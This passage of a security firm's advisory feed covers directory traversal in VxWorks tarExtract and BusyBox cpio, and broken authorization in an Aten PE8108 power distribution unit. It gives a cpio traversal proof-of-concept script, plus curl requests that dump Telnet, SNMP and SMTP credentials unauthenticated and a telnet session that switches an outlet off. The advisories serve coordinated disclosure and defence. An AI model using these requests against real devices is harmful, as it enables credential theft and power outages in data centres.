&lt;a id="rest_code_dcd6242c10db43bd9f87c20442091d7a-15" name="rest_code_dcd6242c10db43bd9f87c20442091d7a-15" href="https://www.pentagrid.ch/de/blog/wind-river-vxworks-tarextract-directory-traversal-vulnerability/#rest_code_dcd6242c10db43bd9f87c20442091d7a-15"&gt;&lt;/a&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"emptyfile"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="precondition"&gt;
&lt;h2&gt;Precondition&lt;/h2&gt;
&lt;p&gt;Program code that passes an untrusted tar file to the VxWorks &lt;code class="docutils literal"&gt;tarExtract&lt;/code&gt; function has to be present, meaning the developers must have been unaware of the implications of unpacking untrusted tar files.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="recommendation"&gt;
&lt;h2&gt;Recommendation&lt;/h2&gt;
&lt;p&gt;User recommendation:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;To apply the &lt;a class="reference external" href="https://support2.windriver.com/index.php?page=cve&amp;amp;on=view&amp;amp;id=CVE-2023-38346"&gt;patch/update supplied by Wind River&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It is recommended to do integrity/authenticity checks (e.g. cryptographic signature checks) on the tar file before it is extracted to make sure it is of trusted origin where possible. We are aware that in practice this is not user friendly as the signature would need to be stored separately in another file next to the tar file. It might be feasible to append the signature to the tar file and remove it before checking the tar, but this could result in non-standard tar files.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It is recommended to check tar file contents by using a third-party library or custom code. It is not reommended to use the VxWorks tarToc kernel function as it will only print to stdout, which makes it impractical for further processing.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The original recommendations for Wind River were:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;It is recommended to implement file name filtering to follow the best-practise of simplifying safe and secure library usage, while improper use of a library should be made more difficult, for example by adding an explicit force parameter to process insecure filenames.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It is recommended to add a clear statement in the documentation and API reference documentation if &lt;code class="docutils literal"&gt;tarExtract&lt;/code&gt; is safe to be used with untrusted tar files or not.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It is recommended to consider how customers of Wind River could be supported in the future by providing more high-level APIs that provide secure data ingestion or software/configuration update functions that include signature checks.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It is recommended to inform Wind River's customers about the vulnerability.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="credits"&gt;
&lt;h2&gt;Credits&lt;/h2&gt;
&lt;p&gt;The vulnerability has been found by Tobias Ospelt and Martin Schobert of Pentagrid. Pentagrid would like to thank Wind River for the support during the coordinated disclosure process.&lt;/p&gt;
&lt;/section&gt;</description><guid>https://www.pentagrid.ch/de/blog/wind-river-vxworks-tarextract-directory-traversal-vulnerability/</guid><pubDate>Tue, 19 Sep 2023 06:00:00 GMT</pubDate></item><item><title>Busybox cpio directory traversal vulnerability (CVE-2023-39810)</title><link>https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;figure&gt;&lt;img src="https://www.pentagrid.ch/images/default_preview_image.jpeg"&gt;&lt;/figure&gt; &lt;p&gt;When extracting cpio archives with BusyBox cpio, the cpio archiving tools may write files outside the destination directory and there is no option to prevent this.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;section id="summary"&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L, &lt;strong&gt;6.1 Medium&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code class="docutils literal"&gt;cpio&lt;/code&gt; is an archive format and also an archive handling tool. Several implementations exist, for example GNU cpio, bsdcpio, and BusyBox cpio. The BusyBox variant of cpio has been found to extract archives that contain relative file names with a &lt;code class="docutils literal"&gt;../&lt;/code&gt; traversal pattern and this cannot be prevented.&lt;/p&gt;
&lt;p&gt;While bsdcpio ignores archived files that have absolut file names or contain &lt;code class="docutils literal"&gt;../&lt;/code&gt; and GNU cpio has a parameter to prevent extracting these file names, BusyBox processes archives with such names and there is no parameter to handle potentially untrusted archives.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="impact"&gt;
&lt;h2&gt;Impact&lt;/h2&gt;
&lt;p&gt;If untrusted archives are extracted, this may result in writing files outside the destination directory. This could result in files being overwritten that contain configuration in form of shell scripts such as &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;~/.bashrc&lt;/span&gt;&lt;/code&gt; or that enable a login from a remote side such as the &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;~/.ssh/authorized_keys&lt;/span&gt;&lt;/code&gt; file.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="timeline"&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2023-07-24: Vulnerability noticed.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-26: Initial contact of BusyBox maintainer via e-mail.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-08-01: Second try to contact BusyBox maintainer via e-mail. First try to contact developer of the module, but e-mail bounced. First contact to Debian security team, because BusyBox package is available via Debian packages.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-08-24: CVE-2023-39810 was assigned.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-08-28: Advisory published after not being able to get in contact with maintainer or developer.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-08-20: A patch was published that is not yet part of Busybox. See section Patches and Workaround.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="affected-components"&gt;
&lt;h2&gt;Affected Components&lt;/h2&gt;
&lt;p&gt;The issue affects BusyBox &lt;code class="docutils literal"&gt;cpio&lt;/code&gt; in multiple versions on different platforms. Pentagrid tested the following versions and could successfully reproduce the issue.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;BusyBox v1.33.2&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;BusyBox v1.30.1&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="technical-details"&gt;
&lt;h2&gt;Technical Details&lt;/h2&gt;
&lt;p&gt;The processing of relative and absolute file names could result in risks. For example the GNU cpio program was affected by the same vulnerability, referenced as &lt;a class="reference external" href="https://marc.info/?l=bugtraq&amp;amp;m=111403177526312&amp;amp;w=2"&gt;"CVE-2005-1229 - Directory traversal vulnerability in cpio 2.6 and earlier allows remote attackers to write to arbitrary directories via a .. (dot dot) in a cpio file."&lt;/a&gt; A patch was developed and added to cpio 2.6-6, which requires an additional parameter &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;--no-absolute-filenames&lt;/span&gt;&lt;/code&gt; to prevent files being overwritten. This option also works for relative file names with &lt;code class="docutils literal"&gt;../&lt;/code&gt; pattern. This is still an insecure default, but an improvement. However, some distributions seems to &lt;a class="reference external" href="https://www.skullsecurity.org/2023/blast-from-the-past--how-attackers-compromised-zimbra-with-a-patched-vulnerability"&gt;have reverted the patch&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;BusyBox cpio is another implementation and it has no mechanism to avoid the processing of relative files with &lt;code class="docutils literal"&gt;../&lt;/code&gt; pattern as shown with the proof of concept below:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_aa595b0614dd4a41b6a69be41bcd2901-1" name="rest_code_aa595b0614dd4a41b6a69be41bcd2901-1" href="https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/#rest_code_aa595b0614dd4a41b6a69be41bcd2901-1"&gt;&lt;/a&gt;#!/bin/sh
&lt;a id="rest_code_aa595b0614dd4a41b6a69be41bcd2901-2" name="rest_code_aa595b0614dd4a41b6a69be41bcd2901-2" href="https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/#rest_code_aa595b0614dd4a41b6a69be41bcd2901-2"&gt;&lt;/a&gt;
&lt;a id="rest_code_aa595b0614dd4a41b6a69be41bcd2901-3" name="rest_code_aa595b0614dd4a41b6a69be41bcd2901-3" href="https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/#rest_code_aa595b0614dd4a41b6a69be41bcd2901-3"&gt;&lt;/a&gt;set -e
&lt;a id="rest_code_aa595b0614dd4a41b6a69be41bcd2901-4" name="rest_code_aa595b0614dd4a41b6a69be41bcd2901-4" href="https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/#rest_code_aa595b0614dd4a41b6a69be41bcd2901-4"&gt;&lt;/a&gt;
&lt;a id="rest_code_aa595b0614dd4a41b6a69be41bcd2901-5" name="rest_code_aa595b0614dd4a41b6a69be41bcd2901-5" href="https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/#rest_code_aa595b0614dd4a41b6a69be41bcd2901-5"&gt;&lt;/a&gt;echo + Clean-up
&lt;a id="rest_code_aa595b0614dd4a41b6a69be41bcd2901-6" name="rest_code_aa595b0614dd4a41b6a69be41bcd2901-6" href="https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/#rest_code_aa595b0614dd4a41b6a69be41bcd2901-6"&gt;&lt;/a&gt;rm -rf /tmp/testcase
&lt;a id="rest_code_aa595b0614dd4a41b6a69be41bcd2901-7" name="rest_code_aa595b0614dd4a41b6a69be41bcd2901-7" href="https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/#rest_code_aa595b0614dd4a41b6a69be41bcd2901-7"&gt;&lt;/a&gt;
&lt;a id="rest_code_aa595b0614dd4a41b6a69be41bcd2901-8" name="rest_code_aa595b0614dd4a41b6a69be41bcd2901-8" href="https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/#rest_code_aa595b0614dd4a41b6a69be41bcd2901-8"&gt;&lt;/a&gt;echo + Create a test archive
&lt;a id="rest_code_aa595b0614dd4a41b6a69be41bcd2901-9" name="rest_code_aa595b0614dd4a41b6a69be41bcd2901-9" href="https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/#rest_code_aa595b0614dd4a41b6a69be41bcd2901-9"&gt;&lt;/a&gt;mkdir -p /tmp/testcase/a/b/
&lt;a id="rest_code_aa595b0614dd4a41b6a69be41bcd2901-10" name="rest_code_aa595b0614dd4a41b6a69be41bcd2901-10" href="https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/#rest_code_aa595b0614dd4a41b6a69be41bcd2901-10"&gt;&lt;/a&gt;echo test &amp;gt; /tmp/testcase/testfile
&lt;a id="rest_code_aa595b0614dd4a41b6a69be41bcd2901-11" name="rest_code_aa595b0614dd4a41b6a69be41bcd2901-11" href="https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/#rest_code_aa595b0614dd4a41b6a69be41bcd2901-11"&gt;&lt;/a&gt;
&lt;a id="rest_code_aa595b0614dd4a41b6a69be41bcd2901-12" name="rest_code_aa595b0614dd4a41b6a69be41bcd2901-12" href="https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/#rest_code_aa595b0614dd4a41b6a69be41bcd2901-12"&gt;&lt;/a&gt;cd /tmp/testcase/a/b/
&lt;a id="rest_code_aa595b0614dd4a41b6a69be41bcd2901-13" name="rest_code_aa595b0614dd4a41b6a69be41bcd2901-13" href="https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/#rest_code_aa595b0614dd4a41b6a69be41bcd2901-13"&gt;&lt;/a&gt;(echo ../../testfile; echo /etc/hostname) | cpio -ov -H newc -O /tmp/testcase/a/b/archive.cpio --quiet
&lt;a id="rest_code_aa595b0614dd4a41b6a69be41bcd2901-14" name="rest_code_aa595b0614dd4a41b6a69be41bcd2901-14" href="https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/#rest_code_aa595b0614dd4a41b6a69be41bcd2901-14"&gt;&lt;/a&gt;rm /tmp/testcase/testfile
&lt;a id="rest_code_aa595b0614dd4a41b6a69be41bcd2901-15" name="rest_code_aa595b0614dd4a41b6a69be41bcd2901-15" href="https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/#rest_code_aa595b0614dd4a41b6a69be41bcd2901-15"&gt;&lt;/a&gt;
&lt;a id="rest_code_aa595b0614dd4a41b6a69be41bcd2901-16" name="rest_code_aa595b0614dd4a41b6a69be41bcd2901-16" href="https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/#rest_code_aa595b0614dd4a41b6a69be41bcd2901-16"&gt;&lt;/a&gt;echo + Extract archive
&lt;a id="rest_code_aa595b0614dd4a41b6a69be41bcd2901-17" name="rest_code_aa595b0614dd4a41b6a69be41bcd2901-17" href="https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/#rest_code_aa595b0614dd4a41b6a69be41bcd2901-17"&gt;&lt;/a&gt;mkdir /tmp/testcase/a/b/etc
&lt;a id="rest_code_aa595b0614dd4a41b6a69be41bcd2901-18" name="rest_code_aa595b0614dd4a41b6a69be41bcd2901-18" href="https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/#rest_code_aa595b0614dd4a41b6a69be41bcd2901-18"&gt;&lt;/a&gt;strace -f busybox cpio -iv &amp;lt; archive.cpio 2&amp;gt;&amp;amp;1 | grep 'hostname\|testfile' | grep -v read
&lt;a id="rest_code_aa595b0614dd4a41b6a69be41bcd2901-19" name="rest_code_aa595b0614dd4a41b6a69be41bcd2901-19" href="https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/#rest_code_aa595b0614dd4a41b6a69be41bcd2901-19"&gt;&lt;/a&gt;
&lt;a id="rest_code_aa595b0614dd4a41b6a69be41bcd2901-20" name="rest_code_aa595b0614dd4a41b6a69be41bcd2901-20" href="https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/#rest_code_aa595b0614dd4a41b6a69be41bcd2901-20"&gt;&lt;/a&gt;echo + List files
&lt;a id="rest_code_aa595b0614dd4a41b6a69be41bcd2901-21" name="rest_code_aa595b0614dd4a41b6a69be41bcd2901-21" href="https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/#rest_code_aa595b0614dd4a41b6a69be41bcd2901-21"&gt;&lt;/a&gt;find /tmp/testcase/
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The final &lt;code class="docutils literal"&gt;find&lt;/code&gt; command lists extracted files:&lt;/p&gt;
&lt;pre class="literal-block"&gt;/tmp/testcase/
/tmp/testcase/testfile           &amp;lt;-- extracted rel. file
/tmp/testcase/a
/tmp/testcase/a/b                &amp;lt;-- working directory
/tmp/testcase/a/b/etc
/tmp/testcase/a/b/etc/hostname   &amp;lt;-- extracted abs. file
/tmp/testcase/a/b/archive.cpio   &amp;lt;-- archive to extract&lt;/pre&gt;
&lt;p&gt;According to the output above, the &lt;code class="docutils literal"&gt;testfile&lt;/code&gt; is written outside of the working directory.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="precondition"&gt;
&lt;h2&gt;Precondition&lt;/h2&gt;
&lt;p&gt;An untrusted archive is extracted with the BusyBox cpio tool and the running cpio process has permissions to write files outside the destination directory.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="recommendation"&gt;
&lt;h2&gt;Recommendation&lt;/h2&gt;
&lt;p&gt;Pentagrid recommends changing the default behaviour and to ignore relative file names with &lt;code class="docutils literal"&gt;../&lt;/code&gt; pattern within a cpio archive. To process files with a directory traversal pattern, a command line flag could be introduced like it was done for GNU cpio.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="patches-and-workaround"&gt;
&lt;h2&gt;Patches and Workaround&lt;/h2&gt;
&lt;p&gt;Users can specify on the BusyBox cpio command line which file from the archive should be unpacked, which should be safe as long as no directory traversal is included in that file name argument. If only specific files need to be extracted, this is a secure alternative.&lt;/p&gt;
&lt;p&gt;User may also consider using another cpio implementation or may ensure that archive files are trusted.&lt;/p&gt;
&lt;p&gt;Peter Kästle implemented a patch for the BusyBox cpio command to filter relative file names. This &lt;a class="reference external" href="http://lists.busybox.net/pipermail/busybox/2024-August/090865.html"&gt;patch was published via the BusyBox mailing list&lt;/a&gt;. However, at the time of updating this advisory, the patch was not merged into the BusyBox code base.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="credits"&gt;
&lt;h2&gt;Credits&lt;/h2&gt;
&lt;p&gt;The vulnerability has been found by Tobias Ospelt and Martin Schobert of Pentagrid.&lt;/p&gt;
&lt;/section&gt;</description><guid>https://www.pentagrid.ch/de/blog/busybox-cpio-directory-traversal-vulnerability/</guid><pubDate>Mon, 28 Aug 2023 09:00:00 GMT</pubDate></item><item><title>Multiple vulnerabilities in Aten PE8108 power distribution unit</title><link>https://www.pentagrid.ch/de/blog/multiple-vulnerabilities-in-aten-PE8108-power-distribution-unit/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;figure&gt;&lt;img src="https://www.pentagrid.ch/images/202304_aten_pdu_42.jpg"&gt;&lt;/figure&gt; &lt;p&gt;Pentagrid identified several vulnerabilities in the PE8108 rack power distribution unit (PDU) manufactured by Aten. The PE8108 is an outlet-metered and switched rack-mountable PDU, which means it supports measuring power of connected devices on a per-outlet basis and allows switching individual outlets on and off. The PDU can be controlled, for example, via HTTP/HTTPS and Telnet. Therefore, the PDU provides authentication and supports multiple users with the option to restrict a user's access to certain outlets. During a review, Pentagrid found authorization checks to be broken in several places, which might lead to a compromise of the appliance. Since the main purpose of the PDU is to distribute power to data center components, the main threat is that attackers switch off parts of the infrastructure.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;section id="timeline"&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2022-12-28: Vulnerabilities found.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-12-30: Further vulnerabilities found and preliminary advisory written.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2022-12-31: Initial contact for coordinated disclosure via Aten's technical request contact form (SR# K221214216-824). Pentagrid's disclosure policy was communicated.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-01-03: Pentagrid provided the preliminary advisory and further details.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-01-10: Aten provided the estimation that a new release will be available earliest in Q1 2023.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-01-10: Pentagrid communicated 2023-04-03 as date for adisory release in accordance to a 90 days period in Pentagrid's disclosure policy.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-03-02: A few CVE-IDs have been assigned.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-03-19: Tried to get a status via the technical support, but the support web interface does not allow to send further messages within the existing support case. Tried to send an e-mail to &lt;a class="reference external" href="mailto:eservice@aten.com"&gt;eservice@aten.com&lt;/a&gt;, but received a mail bounce.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-04-03: Advisory published. No updated firmware was found to be published.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-08-02: Aten did not provide an update until now.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2024-02-22: Aten did not provide an update until now.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="affected-components"&gt;
&lt;h2&gt;Affected Components&lt;/h2&gt;
&lt;p&gt;The identified vulnerabilities affect an Aten PE8108G running firmware version 2.4.232 released on 22 November 2022. Other firmware versions are likely affected as well.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details"&gt;
&lt;h2&gt;Technical Details&lt;/h2&gt;
&lt;section id="broken-authorization"&gt;
&lt;h3&gt;1.  Broken authorization&lt;/h3&gt;
&lt;p&gt;The web interface lacks proper authorization checks in several places, where the web interface fails to check for a valid session and if the session owning user is authorized to perform a certain action. As a result the session ID can be left blank or even be completely omitted in HTTP requests. A few examples are documented in the following sub-sections, but there are certainly more such missing checks in the entire interface, for example during firmware update.&lt;/p&gt;
&lt;section id="unauthenticated-access-to-telnet-and-snmp-credentials-cve-2023-25413"&gt;
&lt;h4&gt;1.1 Unauthenticated access to Telnet and SNMP credentials (CVE-2023-25413)&lt;/h4&gt;
&lt;p&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L, &lt;strong&gt;9.3 Critical&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The PDU can be configured to provide Telnet and SNMP interfaces, which requires authentication information to be stored. A function of the interface allows accessing SNMP and Telnet information without authentication and it is possible to read the configuration for SNMP and Telnet, which reveals several credentials.&lt;/p&gt;
&lt;p&gt;Impact: This vulnerabilty allows an attacker to read configuration, including passwords for SNMP and Telnet, without authentication. These credentials can be abused in further attack steps, for example for switching off infrastructure that is powered by the PDU.&lt;/p&gt;
&lt;p&gt;Details: The following HTTP GET request shows how to retrieve the information from a PDU which has the IP address 10.0.0.235 in the test network. The retrieved information is in an XML-style format. The Telnet credentials are below the XML-element node &lt;code class="docutils literal"&gt;name14&lt;/code&gt; and &lt;code class="docutils literal"&gt;PWD14&lt;/code&gt;. Several SNMP-related credentials are stored in the nodes for &lt;code class="docutils literal"&gt;snmpName&lt;/code&gt;, &lt;code class="docutils literal"&gt;snmpAuthPwd&lt;/code&gt;, &lt;code class="docutils literal"&gt;snmpPrivPwd&lt;/code&gt;, &lt;code class="docutils literal"&gt;readComm&lt;/code&gt;, and &lt;code class="docutils literal"&gt;writeComm&lt;/code&gt;.&lt;/p&gt;
&lt;pre class="literal-block"&gt;$ curl -i -s -k 'https://10.0.0.235/xml/SNMPTelnetCtrl.xml?SID=&amp;amp;SIndex=0&amp;amp;UID=8'
HTTP/1.1 200 OK
Connection: close
Content-Type: text/xml
Cache-Control: no-cache

&amp;lt;response&amp;gt;
   &amp;lt;snmpName&amp;gt;administrator&amp;lt;/snmpName&amp;gt;
   &amp;lt;snmpAuthPwd&amp;gt;mysecretauthpw&amp;lt;/snmpAuthPwd&amp;gt;
   &amp;lt;snmpPrivPwd&amp;gt;mysecretprivpw&amp;lt;/snmpPrivPwd&amp;gt;
   &amp;lt;readComm&amp;gt;mysecretrd&amp;lt;/readComm&amp;gt;
   &amp;lt;writeComm&amp;gt;mysecretwr&amp;lt;/writeComm&amp;gt;
   &amp;lt;snmpEnable&amp;gt;0&amp;lt;/snmpEnable&amp;gt;

   &amp;lt;TELNET&amp;gt;1&amp;lt;/TELNET&amp;gt;
   &amp;lt;telnetPort&amp;gt;23&amp;lt;/telnetPort&amp;gt;
   &amp;lt;name14&amp;gt;teladmin&amp;lt;/name14&amp;gt;
   &amp;lt;PWD14&amp;gt;mysecrettelpw&amp;lt;/PWD14&amp;gt;

   &amp;lt;usrNameLen&amp;gt;6&amp;lt;/usrNameLen&amp;gt;
   &amp;lt;usrPswLen&amp;gt;6&amp;lt;/usrPswLen&amp;gt;
   &amp;lt;upper&amp;gt;0&amp;lt;/upper&amp;gt;
   &amp;lt;lower&amp;gt;0&amp;lt;/lower&amp;gt;
   &amp;lt;oneNumber&amp;gt;0&amp;lt;/oneNumber&amp;gt;
&amp;lt;/response&amp;gt;&lt;/pre&gt;
&lt;p&gt;Once, the Telnet credentials are known, it is possible to access the PDU and to switch off power, if Telnet is enabled:&lt;/p&gt;
&lt;pre class="literal-block"&gt;$ telnet 10.0.0.235
Trying 10.0.0.235...
Connected to 10.0.0.235.
Escape character is '^]'.
Login: teladmin
Password: *************

Logged in successfully

PE Telnet server 1.1

&amp;gt; sw o01 off
 Outlet&amp;lt;01&amp;gt; command is setting&lt;/pre&gt;
&lt;p&gt;Precondition: An attacker must be able to reach the web interface via the network.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="unauthenticated-access-to-event-notification-configuration-cve-2023-25415"&gt;
&lt;h4&gt;1.2 Unauthenticated access to Event Notification configuration (CVE-2023-25415)&lt;/h4&gt;
&lt;p&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L, &lt;strong&gt;9.3 Critical&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The PDU may send events via SMTP to an E-mail address, via SNMP to a trap receiver or via Syslog to a Syslog server. Sending E-mails may require SMTP authentication and therefore needs SMTP credentials stored in the configuration. SNMP may require user authentication or a community string, which is configurable, too. A vulnerability in the web interface makes it possible to dump the event notification configuration without authentication.&lt;/p&gt;
&lt;p&gt;Impact: This vulnerabilty allows an attacker to read configuration, including passwords for SNMP and SMTP. These credentials can then be abused to access additional infrastructure. SMPT credenitals could be abused for data exfiltration by sending e-mails to recipients outside of an outboud-filtered network.&lt;/p&gt;
&lt;p&gt;Details: The following request extracts the corresponding configuration via the web interface. Username and password are stored in URL-encoded form.&lt;/p&gt;
&lt;pre class="literal-block"&gt;$ curl -i -s -k 'https://10.0.0.235/xml/event_notification.xml'
HTTP/1.1 200 OK
Connection: close
Content-Type: text/xml
Cache-Control: no-cache

&amp;lt;response&amp;gt;
     &amp;lt;!--Event Nofification--&amp;gt;
     &amp;lt;SMTP&amp;gt;1&amp;lt;/SMTP&amp;gt;
     &amp;lt;SMTPSer&amp;gt;mymailserver.com&amp;lt;/SMTPSer&amp;gt;
     &amp;lt;SMTPauth&amp;gt;1&amp;lt;/SMTPauth&amp;gt;
     &amp;lt;SMTPAN&amp;gt;%6D%79%74%65%73%74%61%63%63%6F%75%6E%74&amp;lt;/SMTPAN&amp;gt;
     &amp;lt;SMTPpwd&amp;gt;%6D%79%73%65%63%72%65%74%73%6D%74%70%70%77&amp;lt;/SMTPpwd&amp;gt;
     &amp;lt;SMTPFr&amp;gt;from@example.org&amp;lt;/SMTPFr&amp;gt;
     &amp;lt;SMTPTo&amp;gt;to@example.org&amp;lt;/SMTPTo&amp;gt;
     &amp;lt;SNMP&amp;gt;1&amp;lt;/SNMP&amp;gt;
     &amp;lt;TrapMode&amp;gt;2&amp;lt;/TrapMode&amp;gt;
     &amp;lt;SNMPIP1&amp;gt;10.0.0.23&amp;lt;/SNMPIP1&amp;gt;
     &amp;lt;SNMPport1&amp;gt;162&amp;lt;/SNMPport1&amp;gt;
     &amp;lt;ComStr1&amp;gt;&amp;lt;/ComStr1&amp;gt;
     &amp;lt;UsrName1&amp;gt;snmpuser1&amp;lt;/UsrName1&amp;gt;
     &amp;lt;UsrAuth1&amp;gt;secretauthpassword1&amp;lt;/UsrAuth1&amp;gt;
     &amp;lt;UsrPriv1&amp;gt;secretprivpassword1&amp;lt;/UsrPriv1&amp;gt;
     &amp;lt;SNMPIP2&amp;gt;0.0.0.0&amp;lt;/SNMPIP2&amp;gt;
     &amp;lt;SNMPport2&amp;gt;162&amp;lt;/SNMPport2&amp;gt;
     &amp;lt;ComStr2&amp;gt;&amp;lt;/ComStr2&amp;gt;
     &amp;lt;UsrName2&amp;gt;&amp;lt;/UsrName2&amp;gt;
     &amp;lt;UsrAuth2&amp;gt;&amp;lt;/UsrAuth2&amp;gt;
     &amp;lt;UsrPriv2&amp;gt;&amp;lt;/UsrPriv2&amp;gt;
     &amp;lt;Syslog&amp;gt;0&amp;lt;/Syslog&amp;gt;
     &amp;lt;SyslogIP&amp;gt;0.0.0.0&amp;lt;/SyslogIP&amp;gt;
     &amp;lt;SyslogPort&amp;gt;514&amp;lt;/SyslogPort&amp;gt;
     &amp;lt;SMTPPortNum&amp;gt;25&amp;lt;/SMTPPortNum&amp;gt;
&amp;lt;/response&amp;gt;&lt;/pre&gt;
&lt;p&gt;Precondition: An attacker must be able to reach the web interface via the network.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="unauthenticated-access-to-logs"&gt;
&lt;h4&gt;1.3 Unauthenticated access to logs&lt;/h4&gt;
&lt;p&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N, &lt;strong&gt;5.3 Medium&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Log files can be accessed as well without authentication. They contain less sensitive information, but may reveal valid user names and information about the network topology.&lt;/p&gt;
&lt;p&gt;Impact: Access to logging information may be abused to learn about available users and to watch for recent activity. Knowing available users may be helpful for password bruteforcing attacks. In general, logs may reveal information about internal networks, for example from which IP addresses the PDU's web interface was accessed and how the PDU received its IP address. These information may help for further attack steps.&lt;/p&gt;
&lt;p&gt;Details: Log files can be accessed via the path &lt;code class="docutils literal"&gt;/Log_information/Systemlog.csv&lt;/code&gt; with content type &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;application/vnd.ms-excel&lt;/span&gt;&lt;/code&gt; or via &lt;code class="docutils literal"&gt;/Log_information/Systemlog.txt&lt;/code&gt; with content type &lt;code class="docutils literal"&gt;text/plain&lt;/code&gt;. The content is the same, but in different formats. The following HTTP GET request shows how an attacker can access log data.&lt;/p&gt;
